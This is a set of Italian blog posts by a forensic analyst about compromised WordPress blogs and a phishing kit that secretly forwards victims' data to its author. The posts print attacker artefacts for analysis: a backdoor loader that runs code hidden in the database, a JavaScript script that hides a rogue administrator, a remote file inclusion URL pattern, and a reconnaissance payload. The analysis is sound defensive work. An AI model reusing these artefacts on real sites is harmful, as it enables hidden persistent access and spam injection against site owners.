Il non-blog di Mario Pascucci

Sto lavorando sodo per preparare il mio prossimo errore (B. Brecht)

Articoli con tag code analysis

Owned Wordpress: tempesta finita? Questa sì.

Mar 17

Pubblicato da Mario Pascucci in Information security, Wordpress | Disattiva commenti

In un prossimo seminario presso IISFA parlerò dei metodi di analisi relativi ad una intrusione in un sito web, al fine di trovare cosa è stato modificato, in che modo e quale sia lo scopo delle modifiche rilevate.

Per l’occasione userò il materiale raccolto negli ultimi tempi in alcuni incidenti di sicurezza riguardanti vari siti web, il cui proprietario ha dato naturalmente il consenso per l’uso. Una parte consistente sarà tratta dal lavoro fatto su numerosi blog con Wordpress compromessi in vari modi.

Siti puliti, o sporcati in modo differente

Con l’occasione ho dato uno sguardo a parecchi siti web “storici”, ossia compromessi da tempo, che non sono mai stati ripuliti. Alcuni sono lindi e innocenti come un neonato. Niente link, niente codice strano prodotto al passaggio di uno spider, niente di niente. La versione di Wordpress è esattamente la stessa di prima, cioè non è stato fatto alcun aggiornamento all’installazione, solo che l’infezione è sparita. In altri siti è cambiato il tipo di infezione, da quello più sofisticato, con il codice attivo nascosto nel database che reagisce agli spider dei motori di ricerca, ad un semplice blocco di codice HTML accodato ad uno o più post, di solito un tag <font>, <u> o <b>, con una istruzione di stile che serve a nascondere il blocco (tipicamente uno style=”display:none;”). Nel blocco, 100-200 link con le solite parole chiave, invisibili a meno che si disabiliti l’uso dei fogli di stile nel browser o si vada ad ispezionare il codice emesso dal server.

Probabilmente la presenza del blocco non è neanche visibile aprendo il post modificato nell’editor avanzato di Wordpress.

Cosa cambia

I siti rimasti con la vecchia infezione sembrano abbandonati dal mentecatto, ossia i link iniettati sono rimasti gli stessi da parecchio tempo. Alcuni siti che sono stati ripuliti usando un backup, senza quindi aggiornare, hanno subito una o due reinfezioni per poi essere lasciati in pace, segno che o il mentecatto ha capito che non ne vale la pena, o ha chiuso l’attività.

Sicuramente la reazione forte dei principali motori di ricerca, ossia il ban e la totale esclusione del sito dall’indice alla rilevazione dell’infezione, ha avuto la sua parte nella rinuncia del mentecatto, sempre se di rinuncia si tratta.

Per i siti ancora riportanti i link, il modello dell’intrusione è differente. Per poter modificare i post e aggiungere in coda i link nascosti è necessario molto meno lavoro e l’intrusione è molto meno profonda: non servono plugin nascosti, non servono modifiche ai file di Wordpress, non servono blocchi di codice nascosti nel database. E’ sufficiente operare solo la prima parte dell’intrusione per creare un amministratore nascosto, ed utilizzarlo per modificare a piacere i post già pubblicati. Il vantaggio è che non serve codice complesso o strane alchimie, è sufficiente avere tale account nascosto.

Il Wordpress Autotest

In questo frangente l’autotest è molto meno efficace, mancando gran parte delle firme caratteristiche dell’intrusione. Efficace nel senso che gli indicatori rossi sono molti meno, non meno efficace nel rilevare le stranezze. Quindi le indicazioni appaiono meno preoccupanti ad un osservatore poco attento. In pratica l’autotest è quasi inutile.

A questo proposito nelle prossime settimane aprirò il codice, mettendolo a disposizione di chi vuole studiarselo, visto la sua probabile inutilità.

Il pericolo non è passato

Il fatto che il nostro amico mentecatto abbia rinunciato, non vuol dire che i blog con versioni vulnerabili di Wordpress (ossia tutte quelle anteriori alla 2.6.5, al momento in cui scrivo) possano ritenersi al sicuro. Manco per niente. Quella che è passata è solo questa specifica tempesta di intrusioni, ma i siti sono ancora vulnerabili e sfruttabili per un numero incredibile di usi poco etici. Phishing, distribuzione di materiale proibito o illegale, spam, solo la fantasia (malata) di questa gente pone un limite. Ficcare un sito di phishing in un sito Wordpress compromesso è un gioco da ragazzi.

Per capirci, il nostro amico mentecatto non ha avuto alcuna particolare difficoltà a trovare il modo di violare tanti siti web. Basta fare un giro su alcuni siti web, fra cui il conosciutissimo e professionale SecurityFocus per trovare tutto quello che serve. In questi siti si trovano nel caso migliore solo dei PoC (Proof of Concept, dimostrativi) ossia dei brevi spezzoni di codice che mostrano come sfruttare il bug nel codice dell’applicazione. Mettere insieme alcuni di questi spezzoni e costruire uno strumento automatizzato per violare a catena un numero a piacere di siti web è una operazione banale per chi sappia maneggiare un po’ di codice.

Il motivo per cui questi spezzoni di codice vengono pubblicati è perché gli errori e le vulnerabilità sono note al produttore, che ha rilasciato la correzione da tempo, e che probabilmente sono arcinoti alla pletora di acari in giro per la Rete, quindi il passarli sotto silenzio è infinitamente più pericoloso che renderli pubblici. Se la serratura della mia auto si apre con una mina di matita senza lasciare tracce, io voglio saperlo. Ed il parallelo è quanto mai azzeccato, potete credermi sulla parola.

Se poi sappiamo dove andare a guardare ci sono in giro kit già pronti con tutto il necessario per trovare, violare e sfruttare a proprio piacimento siti web vulnerabili, utilizzabili da qualsiasi idiota che sappia come lanciare un programma. Ne ho parlato un due diverse occasioni, una delle quali era il convegno di CFItaly nel giugno 2008.

Quindi, torno a ripetere: il fatto, possibile anche se non confermato, che il nostro amico mentecatto abbia abbandonato la sua attività non è un segnale che autorizza a lasciare il proprio sito Wordpress (vale anche per Joomla, Xoops, Drupal, MediaWiki, ecc.) non aggiornato ad una versione obsoleta e vulnerabile. E’ un comportamento irresponsabile, niente di meno.

Niente di più facile che il sito vulnerabile sia usato come “testa di ponte” per attaccare l’intero hosting, situazione già verificatasi più volte. Per il proprietario del sito sarebbe una brutta storia, perché il servizio di hosting scaricherebbe la responsabilità della riuscita dell’attacco (giustamente, dico io) sul proprietario del sito web vulnerabile.

Insomma, spero sia chiaro che non c’è da scherzarci sopra. E per la legge italiana, chiedete conferma a chi volete, se qualcuno subisce un attacco dal vostro sito web, violato da qualcun altro, occorre dimostrare di aver fatto il possibile per evitare che succedesse. E non credo che il mancato aggiornamento di un software in versione notoriamente vulnerabile possa essere considerato “tutto il possibile”. Ed un avvocato considererà molto peggio una scusa del tipo “non mi funziona il template con le versioni nuove”.

Cosa ci insegna la vicenda

Che se da un lato è semplice e “trendy” parlare di Web 2.0 e social networks, a quanto pare parlare di sicurezza in Rete è considerato demodé, ed i risultati si vedono. Negli ultimi tempi gli attacchi si stanno facendo meno sofisticati, mantenendo di contro una altissima efficacia. Segno che non solo gli utenti sono impreparati ad affrontare un attacco di phishing o a base di social engineering, ma il dramma è che gli stessi professionisti del settore informatico sono poco preparati, quando non ignorano del tutto il problema.

Mi sono capitati sviluppatori, webmaster, grafici, sysadmin che non hanno la più pallida idea del livello di sicurezza richiesto per “andare in Rete”. In qualche caso mi è stato risposto che “basta prendere un hosting blindato”. Non mi stupirebbe che siano in molti a pensarla così.

Una cosa che personalmente ho imparato, e che mi ha lasciato molto perplesso, almeno all’inizio, è l’estrema difficoltà a far capire alle persone quanto pericoloso sia avere un sito vulnerabile, o peggio già violato. Lo dimostra anche il fatto che il mentecatto non è stato sconfitto, per niente. Ha rinunciato lui perché la strategia di piazzare link nascosti nei blog non è più efficace ai suoi scopi. Semmai è stato sconfitto dalla prontezza e dalle azioni di contrasto di chi gestisce i motori di ricerca, più che dalla reazione dei proprietari di siti violati. Tanto è che alcune persone mi hanno contattato alla ricerca di aiuto solo dopo che il dio Google li aveva eliminati dalla faccia del web, bannandoli dall’indice.

Altra cosa è che presentarsi per segnalare che un certo sito web è stato violato provoca spesso reazioni ostili, piuttosto che di attenzione o allarme. Insomma, o ti chiami con un nome notissimo (e magari con fama immeritata), o nella migliore delle ipotesi vieni ignorato. C’è stato un momento in cui ho temuto di essere scambiato per il nostro amico mentecatto… Ovvio, no? Prima ti “buco” il sito, poi mi presento e ti chiedo 500 euro per ripulirtelo.

Semmai mi è successo il contrario: vengo contattato perché il blog è stato bucato e una ricerca su Google restituisce il mio sito, ed alla mia offerta di dare una mano senza nulla chiedere mi viene detto che i blog in realtà sono di più, perché anche quelli di altri amici sono bucati.

Alla fin fine

Questo probabilmente sarà l’ultimo articolo dedicato alla vicenda, che per quanto mi riguarda ha esaurito la sua importanza, per non parlare del mio interesse in merito. Come ho già detto, nelle prossime settimane, se il mentecatto non si farà vivo con qualche altra trovata geniale, pubblicherò il sorgente del Wordpress Autotest, che contestualmente verrà eliminato dal mio sito. Non sono uno sviluppatore esperto di sicurezza, e non è una ipotesi peregrina che il codice possa contenere un disastroso errore, tale da compromettere la sicurezza del mio sito. Il codice è stato sviluppato in fretta e con il preciso scopo di fornire uno strumento di autoverifica affidabile e di facile uso per chi non ha le competenze necessarie.

Se il mentecatto ha rinunciato perché efficacemente contrastato da Google, il test è diventato inutile ed è privo di senso lasciarlo online, visto che potrebbe costituire un pericolo per il mio stesso sito.

Tutto ciò non deve autorizzare nessuno a dormire sonni tranquilli. Ogni giorno decine, forse centinaia di siti web vengono violati in modi sottili, perché la violazione spesso non si esplicita in un defacement, plateale ma inutile agli scopi di questa gente. Sempre più spesso il sito violato finisce per ospitare un sito per il phishing, o peggio un appoggio per materiale illegale da distribuire. Quasi tutti i siti di phishing che mi capita di trovare nei messaggi di spam che ogni giorno infestano la mia casella di posta sono “ospitati” in siti di ignari utenti che non hanno la più pallida idea di cosa stia capitando. Chi detiene un sito vulnerabile, e lo sa, sarà prima o poi vittima di un attacco del genere. E’ inevitabile. Lo dice lo spam.

Tags: , ,

Andò per fare phishing e rimase… all’amo?

Nov 4

Pubblicato da Mario Pascucci in Computer Forensics, Information security | 7 commenti

Qualche giorno addietro, nella lista riservata agli iscritti IISFA del capitolo italiano, è stato segnalato un sito dove sono a disposizione “ready to deploy” dei kit per il phishing per un nutrito elenco di siti di home banking, oltre ai soliti eBay e PayPal.

Passato il primo momento di sorpresa per tanta tracotanza (arrivare a mettere in vendita dei kit per perfetto phisher, il massimo!), la curiosità prende il sopravvento. Lo so, prima o poi mi metterò nei guai per questo…

La domanda che mi frullava per la testa è stata: cosa ci guadagna il tizio? Perché i kit sono liberamente scaricabili, in pacchetti compressi con il formato RAR, senza alcuna protezione. Quindi che razza di pagamento pensa di ottenere?

Lo confesso, ho scaricato un paio di kit, ed ho iniziato ad analizzare il codice, naturalmente in PHP.

E la sorpresa è doppia. Sì, perché c’è molto di più di un kit per il phishing, nei pacchetti. Vado a spiegarmi. Nella più classica modalità da truffatore esperto di umane debolezze, il kit di phishing ha un doppio uso, il secondo dei quali è a danno anche di chi dovesse sfruttare il kit per fare phishing.

Nei file costituenti il kit ve ne è uno che si incarica di spedire al phisher i dati inseriti dall’ignaro navigante che cada nella trappola. Il metodo scelto è l’e-mail, a differenza di altri che semplicemente scrivono i dati su un file locale al server che poi il nostro amico phisher preleverà dopo qualche giorno. In evidenza c’è una riga in PHP dove si intuisce al volo che è il posto dove inserire il proprio indirizzo di posta elettronica per ricevere i dati.

Il file in oggetto è a prima vista molto semplice, ed è costituito da una serie di istruzioni di concatenazione di stringa, per comporre il messaggio contenente user ID, password, numeri di carta di credito, indirizzi, ecc. Guardando meglio il codice si nota che è inutilmente complicato, e che le istruzioni di concatenazione sono assurdamente frammentate. Trattandosi di codice scritto da un Grande Hacker, è abbastanza nella norma, ma tutto sta nel non lasciarsi fuorviare. Guardando il codice e cercando di capire cosa faccia, mi sono reso conto che in una variabile c’era una vocale “e” al posto di una “a”. Le righe erano alternate e componevano DUE messaggi differenti, uno dei quali in realtà era un indirizzo di posta elettronica molto poco intuitivo. Al termine il messaggio composto viene inviato a tre differenti indirizzi di posta elettronica: il primo è quello nella variabile bene in vista, pronto per essere sostituito dall’indirizzo del phisher-wannabe. Gli altri due indirizzi sono presi da due variabili, una è quella inframmezzata alla composizione del messaggio, dell’altra non vi è traccia nel file.

Ho tentato una ricerca in tutti i file del pacchetto di “$Var3″ (il nome della variabile è inventato, è inutile cercarlo con Google…), senza fortuna. Allora ho tentato il jolly: una ricerca per la funzione PHP base64_decode. Tana!

In uno dei form della pagina di phishing c’è un campo input di tipo hidden il cui nome è “Var3″ ed il cui valore è l’output di una chiamata alla funzione base64_decode, con una stringa che, a questo punto l’avrete capito, si risolve in un altro indirizzo di posta elettronica, diverso da tutti gli altri.

In definitiva, se Ernesto (nome inventato), convinto di fare una gran birbonata, installa il kit del perfetto phisher su un sito, i dati li riceverà anche chi ha preparato il kit. E lo scopo è proprio questo, visto lo sforzo che c’è nel codice di nascondere ed offuscare proprio quei due indirizzi di posta aggiuntivi. Se Ernesto venisse scoperto, cosa abbastanza verosimile, pagherebbe dalla A alla Z, mentre il nostro furbacchione si godrebbe i risultati della birbonata di Ernesto, indisturbato. Ricordiamo che avrebbe a sua disposizione tutti i dati che ha in mano Ernesto, inviatigli in “copia conforme”, e che Ernesto probabilmente attenderebbe di averne un po’ prima di iniziare ad usarli, mentre il creatore del kit inizierà ad usarli da subito, prima che Ernesto sospetti qualcosa o che venga scoperto, come quasi certamente sarà.

Tutto ciò, naturalmente, a meno che non si trovi come avversario un investigatore un po’ più smaliziato. A questo punto non avrebbe vita troppo facile, ma per prima cosa sarebbe necessario che l’investigatore si ponga la domanda, si faccia venire il dubbio.

Altrimenti, la cosa potrebbe venir fuori solo al momento dell’interrogatorio di Ernesto.

Ecco, immaginate. Sala per interrogatori, due agenti vestiti di scuro, uno in piedi alle spalle di Ernesto, l’altro seduto dall’altra parte del tavolo:
- Chi ti ha aiutato a creare il codice per il phishing?
- L’ho fatto io! (Ernesto, credendo di fare più impressione, tenta di prendersi il merito)
- Naaahhh. Non ne sei capace. Abbiamo visto nel tuo computer. Il codice che sviluppi non gli si avvicina neanche. Abbiamo curiosato nella cache del tuo browser e sappiamo dove l’hai preso.

Chi è meno credibile: Ernesto che si vanta di aver sviluppato del codice, cosa di cui non è neanche lontanamente capace, o l’investigatore smaliziato al punto da capire che il livello di competenza di Ernesto è insufficiente ed è anche lui vittima di qualcun altro più furbo?

Fate voi. Al solito, non mi rimane che ricordare:
Trust no one

Tags: , , , ,

Compiti per le vacanze: la soluzione

Aug 27

Pubblicato da Mario Pascucci in Computer Forensics, Information security, Wordpress | 3 commenti

Vista la nutrita schiera dei partecipanti e la massa di soluzioni che mi sono pervenute (una sola, completamente fuori strada), qui di seguito trovate la soluzione all’indovinello estivo.

Il primo passo era di reperire il file da qualche parte, ed a questo qualcuno c’è arrivato, bravo Nanni. Era sufficiente cercare in Google una delle stringhe mostrate nell’immagine. Ad esempio basta inserire la stringa lpa1zxy (la terza in alto nell’immagine) in Google, ed il primo risultato è quello voluto. Notare che i siti che si ottengono dalla ricerca sono stati compromessi in vari modi, e probabilmente lo sono ancora. I bug e le vulnerabilità su cui si basano le intrusioni sono noti ormai da anni e se un webmaster non sa fare il suo lavoro è un suo problema.

Reperito il file, rimane da capire cosa stiamo guardando. A prima vista sembra qualcosa di cifrato con un algoritmo piuttosto banale, tipo una codifica Base64, o una ROT-13 (o cifrario di Cesare modificato).

Invece, e qui si mostra ancora una volta la genialità del mentecatto, si tratta di normale codice PHP, in cui le stringhe apparentemente codificate sono soltanto dei commenti. Eliminandoli e ricostruendo il codice “attivo” il risultato è un misero:


<?
$f = create_function("",strrev(get_option("wordpress_options")));
$f();
?>

Tutto qui. Questo è quello che viene inserito come plugin nei blog basati su Wordpress violati dal mentecatto. Il plugin non fa altro che scaricare dal database, nella tabella delle opzioni di Wordpress, un record iniettato contenente il vero plugin, e lo esegue. Il plugin ha varie funzioni, principalmente quella di controllare lo user agent dei visitatori e presentare i link di spam se è il GoogelBot a visitare il sito, mentre se è un normale visitatore proveniente da una ricerca per le pillole a basso costo lo reindirizza sul sito della farmacia. Poi ha anche altre funzioni, tipicamente di autodifesa, ed è capace di rimettersi in sesto se il blog viene aggiornato o viene fatto un tentativo di pulizia senza usare le maniere forti. Ne esiste una seconda variante, assolutamente identica come codice PHP attivo, sono soltanto differenti le finte stringhe cifrate, cioè i commenti.

Ne ho parlato e scritto fino alla nausea. Il mentecatto (i mentecatti, le infezioni sono in più varianti, questa è la più diffusa) è uno che ci capisce, non un wannabe. I blog Wordpress infetti sono ancora al loro posto, mentre i proprietari dormono sonni tranquilli. Qualcuno ha pure fatto il test, ha visto i risultati e ha continuato come se niente fosse. Se ritiene che qualche link di spam non sia poi un gran problema, beh, in bocca al lupo.

Lo scopo dell’indovinello era quello di verificare le capacità di analisi, assolutamente necessarie per ricostruire gli eventi in caso di intrusione in un sito web. Analizzando questo file, che nei siti compromessi non ha mai l’apparenza di un file PHP, sono riuscito a trovare dove era nascosto il codice che presentava i link e che deviava le visite. Da lì ho scovato le altre iniezioni di dati nel database, ad esempio la cache dei link spam, e la modalità di reinfezione, o di sopravvivenza ad un upgrade. Peccato, una occasione persa, per tutti. Probabilmente sono io che non ho capito bene in cosa consista la Computer Forensics.

Al prossimo indovinello. Ah, a proposito, qualcuno usa Joomla? Beh, sappiate che state per andare in massa a fare compagnia a chi ha Wordpress in versione “farcita”. Alcuni blog Wordpress compromessi mostrano come link di spam siti che fanno uso di Joomla, naturalmente “farciti” con una variante prontamente sviluppata dal mentecatto. Naturalmente è sufficiente un upgrade alla versione corretta per mettersi al riparo, ma certamente non possiamo fare a meno di quel plugin bellissimissimo che con la nuova versione non funziona, e poi il tema stiloso non si vede bene, eh.

Tranquilli, il mentecatto si fa molti meno problemi. A lui il vostro sito piace com’è. Farcito.

Tags: , , , ,

Owned Wordpress: aggiornare a 2.6 o 2.6.1 non risolve

Aug 19

Pubblicato da Mario Pascucci in Information security, Wordpress | 3 commenti

Proseguendo nella mia solitaria indagine sulle molteplici intrusioni in blog basati su Wordpress non aggiornati, ho esaminato, come ho già fatto qualche tempo addietro, gli effetti di un aggiornamento prima a Wordpress 2.6, poi alla versione 2.6.1, fresca di forgia.

Passando alla versione 2.6 l’unico indizio che ci sia qualcosa di poco pulito è il contatore degli amministratori nell’elenco degli utenti.

Come potete notare nella figura sopra, c’è un solo utente, amministratore, visualizzato nell’elenco, ma il conteggio ne riporta 2.

Disabilitando Javascript e ricaricando la pagina si svela l’arcano: appare immediatamente il secondo amministratore dal nome WordPress, nella colonna “Nome” mostra solo tre puntini. Esaminando il codice HTML della pagina si scopre lo script di “cloaking” dell’amministratore abusivo, di cui avevo già parlato.

Nessun altro indizio evidente mostra che il blog è compromesso ed in mano ad altri. L’unica possibilità è data da una accurata analisi di tutto quanto costituisce il blog stesso, database compreso, naturalmente sapendo dove e cosa cercare.

Aggiornando alla versione 2.6.1 le cose cambiano, ma non di molto. Solo la prima volta che si entra nella gestione dei plugin si ottiene il messaggio mostrato qui sotto:

Per me e per chi ha dimestichezza con Wordpress questi messaggi sono il chiaro indice che qualcosa non va, ma per la maggior parte dei tenutari di blog probabilmente non hanno molto significato. Il problema è che i messaggi appaiono solo la prima volta che si entra nel pannello di gestione plugin del blog dopo l’aggiornamento, per non comparire mai più.

Ai fini dello sradicamento dell’intrusione non si ottiene la pulizia completa. Occorre ancora intervenire a mano, e non è sufficiente cancellare l’amministratore abusivo ed i plugin fasulli. Nel blog c’è sicuramente ancora roba nascosta, file modificati, residui nel database. L’incursore ha potuto leggere le credenziali di accesso al database stesso, in chiaro nel file wp-config.php, ed ha molte frecce al suo arco:

  • i file camuffati, inseriti ovunque, potrebbero essere shell remote, capaci di modificare a piacere i file dell’installazione, aggiungerne altri, cancellarli, ecc.
  • i file del tema e dei plugin potrebbero essere stati modificati per eseguire pezzi di codice PHP a comando
  • I falsi plugin sono ancora presenti, se il webmaster non li ha cancellati
  • nel database c’è ancora una copia di riserva della remote shell, e la cache dei link di spam

I primi tre punti sono porte aperte alla “reinfezione” del blog, l’ultimo è semplicemente fatica in meno per l’incursore.

Ho trovato almeno tre blog in rete (sì i proprietari sono stati avvertiti) aggiornati alla versione 2.6 che non mostravano più il comportamento di forgiare la pagina a seconda del visitatore (utente normale o GoogleBot), ma avevano centinaia di link spam nascosti in fondo ai post nella home page. Ipotizzo, cosa da verificare ma verosimile, che il proprietario abbia aggiornato ignorando di essere vittima dell’intrusione, ed i file corrotti dall’intrusione siano stati sovrascritti, cosa che ha fatto perdere al mentecatto la possibilità di inserire link spam a piacere senza intervenire direttamente sul blog. Naturalmente, il nostro amico non si è perso d’animo: ha immediatamente approfittato del proprio account amministratore abusivo ed ha modificato i post in prima pagina inserendo i link spam all’interno di un blocco HTML con uno stile utile a nasconderli ai visitatori umani (ad esempio con style="display:none", oppure con style="overflow:hidden;width:0;height:0"). Oppure, anche dopo aver perso anche l’amministratore abusivo, scoperto e cancellato dal webmaster più attento, potrebbe essere in grado di accedere il database MySQL dall’esterno e modificare a mano i post per accodare i link spam. Lo può fare perché ha potuto leggere le credenziali di accesso al database, contenute in wp-config.php. Non dovrebbe essere possibile farlo dall’esterno, i servizi di hosting non dovrebbero permettere l’accesso al server database a chiunque. Se però nel blog vi sono ancora i file modificati dall’incursore per eseguire codice PHP a comando, come mostrato qui, per il mentecatto è un gioco da ragazzi inserire un paio di righe di PHP da eseguire al volo per modificare il record nel database relativo al post ed aggiungere i link spam.

Il risultato è che, pur dopo tutti gli aggiornamenti, se avevamo il blog infetto e non abbiamo usato le maniere forti, saremo daccapo in poco tempo. Nel frattempo, il mentecatto non sta con le mani in mano e molto probabilmente sta correndo ai ripari: a breve l’aggiornamento a Wordpress 2.6.x potrebbe non essere più efficace per scoprire l’intrusione.

L’unica cosa che, ironia della sorte, potrebbe porre fine all’abuso del nostro blog da parte del mentecatto è il crescente numero di servizi di indicizzazione e motori di ricerca che adottano politiche di esclusione del siti compromessi. Quando il nostro sito venisse escluso da tutti (Google, Technorati, FeedBurner, ecc.), il mentecatto non saprebbe più cosa farsene, e lo lascerebbe al suo destino. Certo, a quel punto il nostro blog sarebbe un rottame: invisibile da Internet, non più indicizzato dai principali motori di ricerca e aggregatori, saremmo come la voce che grida nel deserto. O peggio potrebbe essere venduto a qualche organizzazione dedita al phishing, a cui non importa il posizionamento del sito nei motori di ricerca.

Uscire da quello stato di limbo non è molto facile, e molto tempo occorre per recuperare credibilità agli occhi degli innumerevoli siti di indicizzazione. E’ meglio intervenire prima possibile.

Tags: , ,

Owned Wordpress: ora tocca ai plugin

Aug 13

Pubblicato da Mario Pascucci in Information security, Wordpress | 7 commenti

Ecco uno dei prossimi vettori di infezione dei blog basati su Wordpress, dopo le versioni non aggiornate e i temi troianizzati. E non c’è di che stare allegri, proprio no.

L’antefatto

Il test per la verifica dei blog basati su Wordpress ha un controllo per verificare ed eventualmente riportare tentativi di hacking. Non è che ci sia molto da bucare, ma visto che non sono onnisciente, meglio un controllo in più che uno in meno, tanto più che costa veramente poco in termini di risorse di elaborazione.

In breve, viene sia controllato l’URL inserito nella casella di testo, sia l’URL completo con cui viene invocato il test stesso, infine viene controllato se vi siano dati extra nella richiesta POST. Proprio il controllo dell’URL di invocazione del test sta segnalando da qualche settimana uno strano schema, ripetuto parecchie volte al giorno.

L’analisi

Il test viene chiamato con dati aggiuntivi nell’URL, associati ad un nome specifico, sempre quello. Lo user agent è sempre libwww-perl/5.805 (può cambiare la versione). L’URL ha questo schema:

http://server/file.php?myPath=http://altrosito/directory/file.txt??

Lo schema sembra proprio quello di un tentativo di RFI (Remote File Inclusion). Prelevando a mano il file che si tenta di includere si scopre questo:


<?php
function ConvertBytes($number) {
$len = strlen($number);
if($len < 4) {
return sprintf("%d b", $number); }
if($len >= 4 && $len <=6) {
return sprintf("%0.2f Kb", $number/1024); }
if($len >= 7 && $len <=9) {
return sprintf("%0.2f Mb", $number/1024/1024); }
return sprintf("%0.2f Gb", $number/1024/1024/1024); }

echo "Osirys<br>";
$un = @php_uname();
$id1 = system(id);
$pwd1 = @getcwd();
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;

echo "0sirys was here ..<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "id: $id1<br>";
echo "free: $free<br>";
echo "used: $used<br>";
echo "total: $all<br>";
exit;

Questo codice PHP è innocuo: si limita a raccogliere informazioni sul server dove viene eseguito e riportarle in una semplice pagina HTML. Le informazioni che raccoglie sono: nome e versione del sistema operativo, nome del server, user con cui viene eseguito lo script PHP (lo stesso del web server), spazio disco. Qualcosa del genere:


0sirys was here ..
uname -a: Linux hawking 2.6.25.11-60.fc8 #1 SMP Mon Jul 21 02:06:29 EDT 2008 i686
os: Linux
id: uid=500(mario) gid=500(mario) gruppi=500(mario)
free: 148.28 Gb
used: 77.31 Gb
total: 225.59 Gb

i dati sono quelli che vengono fuori eseguendo lo script sul mio computer con il comando php -f script.php, usando l’interprete PHP-cli.

La vulnerabilità cercata è nel plugin MyGallery versione 1.2.x o precedenti, nello specifico questa documentata da Secunia vecchia di oltre un anno. La vulnerabilità è classificata come altamente critica, permettendo l’inclusione e l’esecuzione di file PHP presi ovunque semplicemente inserendoli nell’URL come viene fatto appunto nelle richieste che sto ricevendo e che ho mostrato sopra. Se viene verificato che il web server del sito esegue il codice iniettato, può eseguire qualsiasi codice PHP gli venga propinato.

Ho peraltro rilevato una stranezza: non viene selezionato un file specifico per il tentativo, ma vengono “provati” tutti quelli raggiungibili da un qualche link esplicito nel blog. Le cose sono due: o i bot attivi sono “stupidi”, o c’è qualcosa che non sappiamo. Nei principali motori di ricerca non vi è traccia di problemi relativi ad una inclusione tramite variabili myPath, salvo quello appena riportato con il plugin MyGallery.

Rischi e contromisure

Il rischio in questo momento è estremo: ci sono almeno tre differenti bot che cercano attivamente in Rete blog con il plugin installato nella versione vulnerabile, quindi avere il plugin non aggiornato significa trovarsi a breve col blog compromesso. In che modo e per fare cosa non è difficile da immaginare.

L’unica contromisura realmente efficace è aggiornare il plugin, o passare ad altro se l’aggiornamento non è possibile.

Conclusioni

Non dovrebbero essere molti i siti che fanno uso di questo plugin. Se il vostro blog ne fa uso, è proprio il caso di controllare se avete la versione vulnerabile e cambiare immediatamente.

Tags: , ,

Wordpress: perché non basta l’aggiornamento

May 27

Pubblicato da Mario Pascucci in Computer Forensics, Information security, Wordpress | 2 commenti

Anche se non appaiono nuovi articoli, non significa che stia con le mani in mano. Le indagini proseguono, e quando ho novità utili ecco un nuovo articolo.

Ho aggiunto una nuova categoria, denominata Wordpress, per avere con un clic tutti gli articoli che trattano di questo software.

Andiamo al sodo: ho ricreato su una macchina virtuale l’intero contenuto di uno dei blog compromessi, sia il codice che il database, gentilmente messo a disposizione da una delle vittime delle recenti intrusioni.

In questo modo ho potuto verificare alcune delle ipotesi che avevo fatto osservando sia il codice dei siti che il contenuto dei database in mio possesso. La prima considerazione che mi viene a caldo è che questa gente non è per niente da sottovalutare. Conosce a fondo Wordpress, ne conosce l’intimo funzionamento, ma non basta. Conosce PHP, conosce Javascript, conosce il DOM e tutte le tecniche di manipolazione dello stesso in pieno stile AJAX.

La prima ipotesi è che esista un utente amministratore invisibile dal pannello di gestione utenti di Wordpress. Verificato che sul database esiste un utente dal nome WordPress, di livello amministratore, rimane da capire come mai sia invisibile. Esaminando meglio il database, il campo dove appare il real name relativo all’utente abusivo è insolitamente lungo. Eccone il contenuto, aggiustato per renderlo più leggibile:

...
<b id="user_superuser"><script language="JavaScript">
var setUserName = function(){
  try{
    // primo blocco
    var t=document.getElementById("user_superuser");
    while(t.nodeName!="TR"){
      t=t.parentNode;
    };
    t.parentNode.removeChild(t);

    // secondo blocco
    var tags = document.getElementsByTagName("H3");
    var s = " shown below";
    for (var i = 0; i < tags.length; i++) {
      var t=tags[i].innerHTML;
      var h=tags[i];
      if(t.indexOf(s)>0){
        s =(parseInt(t)-1)+s;
        h.removeChild(h.firstChild);
        t = document.createTextNode(s);
        h.appendChild(t);
      }
    }

    // terzo blocco
    var arr=document.getElementsByTagName("ul");
    for(var i in arr) if(arr[i].className=="subsubsub"){
      var n=/>Administrator \((\d+)\)</gi.exec(arr[i].innerHTML);
      if(n[1]>0){
        var txt=arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi,">Administrator ("+(n[1]-1)+")<");
        arr[i].innerHTML=txt;
      }
    }
  }catch(e){};
};
addLoadEvent(setUserName);
</script> 

Il primo blocco cerca l’inizio della riga in cui è visualizzato l’utente abusivo nel pannello di gestione utenti, contenente anche il codice stesso, e la elimina dal DOM (t.parentNode.removeChild(t);).

Il secondo blocco si incarica di “aggiustare” il conteggio degli utenti visualizzati quando l’elenco viene “paginato” nelle versioni di Wordpress dalla 2.1 in poi.

Il terzo blocco si incarica di modificare la visualizzazione nelle versioni dalla 2.5 in poi, dove in alto c’è il numero di amministratori fra parentesi. Infatti c’è una chiamata alla funzione Javascript replace che sostituisce la stringa “Administrator (n)” con la stringa “Administrator (n-1)”.

A parte l’ingegnosità del codice (che comunque ha i suoi difetti), il punto è che il codice è fatto per operare su tutte le versioni di Wordpress, anche le più recenti. Il codice è incluso nel database, e non viene pulito da un normale upgrade, come ho verificato aggiornando la versione nella macchina virtuale.

Il risultato è che dopo una intrusione di questa categoria, pur avendo pulito il codice PHP da eventuali iniezioni di codice e file estranei ed a patto che l’aggiornamento sia avvenuto previa totale eliminazione della precedente installazione, non semplicemente soprascrivendo i file più vecchi, abbiamo un utente amministratore abusivo registrato nel blog, che può ancora operare indisturbato.

L’altra considerazione da fare, altrettanto inquietante, è che il codice mostrato prevede un aggiornamento alla versione 2.5.x di Wordpress, quindi chi ha attaccato i blog ha tenuto in conto che Wordpress poteva essere aggiornato dal proprietario, e ha predisposto le relative contromisure.

Il codice è efficace solo quando l’utente abusivo è visualizzato nella pagina, come quando gli utenti registrati sono pochi, e soprattutto se non si pone molta attenzione alle indicazioni. Basta chiedere di visualizzare gli utenti non amministratori che in Wordpress 2.5.x l’indicazione del numero di amministratori sale magicamente di uno. Oppure cercare un utente che sicuramente non esiste, ed anche qui il numero di amministratori sale di uno, ad indicare che c’è qualcosa di sospetto.

Per verificare la presenza dell’utente abusivo si può anche esaminare il codice HTML della pagina: se all’interno della tabella con gli utenti c’è una delle righe che mostra il codice Javascript visto sopra, abbiamo un clandestino a bordo.

